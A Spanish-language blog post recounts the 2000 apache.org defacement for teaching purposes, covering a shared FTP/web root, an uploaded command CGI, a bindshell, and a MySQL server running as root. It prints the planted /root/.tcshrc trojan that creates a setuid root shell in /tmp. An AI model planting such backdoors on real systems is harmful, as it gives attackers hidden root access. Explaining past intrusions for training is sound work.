23 septiembre 2008

Hackeos memorables: apache.org

Uno de mis hackeos favoritos fue el que sufrió el web de apache.org, en este caso, debido al método que utilizaron y la explicación de como se hizo. Un cuento de hackers que siempre me gusta narrar cuando hacemos formaciones y explicamos la importancia de las vulnerabilidades con criticidad baja o media y las vulnerabilidades causadas por configuraciones incorrectas de servicios.

La historia original la podéis ver en la cache de google, o buscando por el nombre del archivo: how.defaced.apache.org.txt.

Básicamente la intrusión pudo ocurrir por varios motivos:

  1. El DocumentRoot del servidor web era el mismo DocumentRoot del servidor ftp.
  2. Dentro del DocumentRoot se permitía la creación de ficheros.
Esto fue observado por los hackers, que rápidamente generaron un cgi que les permitiese ejecutar comandos y lo subieron vía FTP, ahora solo tendría que acceder a través de la web a ese cgi para llamar a los binarios que quisieran ejecutar. La barrera más difícil de cruzar, ya había sido rota.

Los intrusos decidieron subir una "bindshell", para facilitarse el acceso mediante telnet, así que realizaron una llamada al cgi que habían subido para descargar esta herramienta, y posteriormente ejecutarla, abriendo un nuevo puerto al que tendrían acceso directo mediante una contraseña.

Con acceso local al sistema, ya conocían que el sistema operativo era un FreeBSD, podían haber roto la seguridad explotando alguna vulnerabilidad conocida y conseguir de este modo permisos de superusuario, pero el objetivo era llegar a ese mismo hito únicamente utilizando errores de configuración.

El siguiente paso fue conseguir acceso al servidor de base de datos que ejecutaba el equipo. Un MySQL con una cuenta trivial, nombre de usuario "bugs". Mediante este nuevo acceso con nuevos privilegios, puesto que el mysql se ejecutaba con usuario root, era posible escribir archivos allí donde fuera necesario como usuario root y con permisos 666.

Con esta posibilidad, crearon un pequeño troyano en el fichero: /root/.tcshrc
   #!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc

Ahora solo tenían que esperar a que uno de los ¡¡¡¡¡9!!!!! administradores se logeara en el sistema y ejecutara un "su". No tardó mucho en ocurrir.

Los hackers reportaron la intrusión después de arreglar ellos mismos algunos fallos.

Impresionante, ¿no?

4 comments :

Lorenzo Martínez dijo...

Qué sobresaliente la forma de explicarlo. Enhorabuena por el post Alex. Ni que te dedicaras a esto... a la formación, me refiero ;-D

Anónimo dijo...

apache.org, vaya tela, y esto ¿cuando fue?

Asfasfos dijo...

Nadie está a salvo hoy en día de cualquier ataque de este tipo, lo de siempre, prudencia, ir paso a paso e intentar configurar las cosas lo mejor posible y sin prisas (cosa imposible en las empresas :))

Alejandro Ramos dijo...

@lorenzo, muchas gracias!!, aqui hacemos de todo, ya sabes :-)

@anónimo: fué en Mayo del 2000.

No comenté en la noticia un dato más, modificaron la página principal y añadieron un logo de "Powered by Microsoft Backoffice".

Podeis ver un mirror del deface en: http://www.attrition.org/mirror/attrition/2000/05/03/www.apache.org